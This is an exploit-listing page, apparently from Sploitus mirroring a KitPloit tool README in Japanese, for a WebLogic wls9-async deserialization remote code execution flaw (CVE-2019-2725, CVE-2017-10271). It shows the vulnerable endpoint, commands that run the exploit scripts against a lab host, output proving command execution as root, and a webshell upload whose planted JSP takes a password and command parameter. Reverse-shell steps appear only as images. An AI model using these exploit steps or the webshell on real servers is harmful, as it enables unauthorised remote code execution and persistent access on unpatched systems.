Sploitus

Exploit for CNVD-C-2019-48814

CVE-2017-10271CVE-2019-2725

kitploit · 2026-08-25

Exploit Code

MARKDOWN94 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JAS502N-CNVD-C-2019-48814
# CNVD-C-2019-48814

WebLogic wls9-async 逆シリアル化リモートコード実行の脆弱性

### weblogic 用のエコー PoC

### Patch update:

root@kitploit:~
    
    
    https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html
    
    

### 脆弱性の再現：

root@kitploit:~
    
    
    http://10.10.20.166:7001/_async/AsyncResponseService
    

root@kitploit:~
    
    
    curl -i http://10.10.20.166:7001/_async/favicon.ico
    

## CNVD-C-2019-48814 Video

![CNVD-C-2019-48814](https://assets.kitploit.com/production/public/readmes/43759/92c89221812092009580b794d32bb4540ac00ddde49715c714d1155fe03d778b.webp)

root@kitploit:~
    
    
    python CNVD-C-2019-48814.py -u  http://10.10.20.166:7001  -p 1.txt
    
    >>>>Common See:
    
    write website favicon.ico
    Don't Need RMI Server
    
    http://10.10.20.166:7001/_async/favicon.ico
    
    >>>>Request Success!
    status_code:202
    
    C:\Users\CTF\Desktop\weblogic\byte>curl -i http://10.10.20.166:7001/_async/favicon.ico
    HTTP/1.1 200 OK
    Date: Thu, 25 Apr 2019 14:37:49 GMT
    Accept-Ranges: bytes
    Content-Length: 5
    Last-Modified: Thu, 25 Apr 2019 14:37:45 GMT
    X-Powered-By: Servlet/2.5 JSP/2.1
    
    root
    
    

## RMI を使用

![](https://assets.kitploit.com/production/public/readmes/43759/8b4a370da6d5222b23dfc60327a9d3c42b003ff8217ff99f74f8da97e1eab6b7.jpg)

![](https://assets.kitploit.com/production/public/readmes/43759/32e7753c0b5ef1fa80b72bcde1ab1b8e228b04ee2af6206afde3bb0d2e0cdd7b.jpg)

### CVE-2017-10271 パッチ未適用

#### windows-linux-webshell

root@kitploit:~
    
    
    upadte: カスタムwebshell名。windows または linux での webshell アップロードに対応
    
    python async_webshell-all.py  http://10.10.20.166:7001/ webshell.jsp
    >>>Webshell:
    http://10.10.20.166:7001//bea_wls_internal/webshell.jsp?pwd=123&cmd=whoami
    

![](https://assets.kitploit.com/production/public/readmes/43759/67faa3eb0b08b504e2bb336aacceb6e0e98040de1a311e6355f21385b1a93fcd.jpg)

#### resever_shell

![](https://assets.kitploit.com/production/public/readmes/43759/7d5f25fe8c8a7da0a2814ea90359f8d4face2b1c2d98b9777bb36828ce4eda5c.jpg)

#### command see

![](https://assets.kitploit.com/production/public/readmes/43759/34ad073978238cfd977a71d312c05c0e9737b14bb660cf55d8a5b5762e5c9e6d.jpg)

#### webshell

![](https://assets.kitploit.com/production/public/readmes/43759/3f759cf3a744ade39bcbf6e34254597a0bd8678fe449a03166c046e04a0a9eae.jpg)